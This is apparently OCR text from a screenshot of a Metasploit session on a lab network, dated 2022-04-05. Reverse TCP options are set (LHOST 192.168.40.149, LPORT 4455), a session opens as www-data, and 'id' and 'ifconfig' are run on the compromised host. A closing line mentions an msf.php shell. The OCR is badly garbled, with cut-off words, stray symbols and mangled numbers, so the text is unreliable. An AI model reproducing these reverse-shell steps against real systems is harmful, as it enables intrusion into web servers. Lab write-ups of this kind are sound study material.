f6 exploi
LPORT = 4455
exploit(

se_tcp
LHOST 192.168.40.149

LPORT 4455

run

Star reverse TCP handler on
: session 1 opened (1

Process 14863 created.
Channel @ created.
id

uid=33(ww-data) gid= ww -data) groups= ww-data)

ifconfig

ens37 Link encap:Ethernet
inet addr:192.168.

X pa
TX pac

RX byt :
Interrupt:19

HWaddr 00:0c:29:5
40.152 Bcast:192.1
UP BROADCAST RUNNING MULTICAST MTU:150
- errors:20 dropped:1¢
errors:0 dropped:0® overruns:® carrier:0
ueuelen:1000

overruns:® frame:@

3 MB) TX 484947230 (1.4 GB)

address:0x2000

THE YT S, Vi Emsf.php X%, 7T 2k #shellsiLh !

2022-04-05
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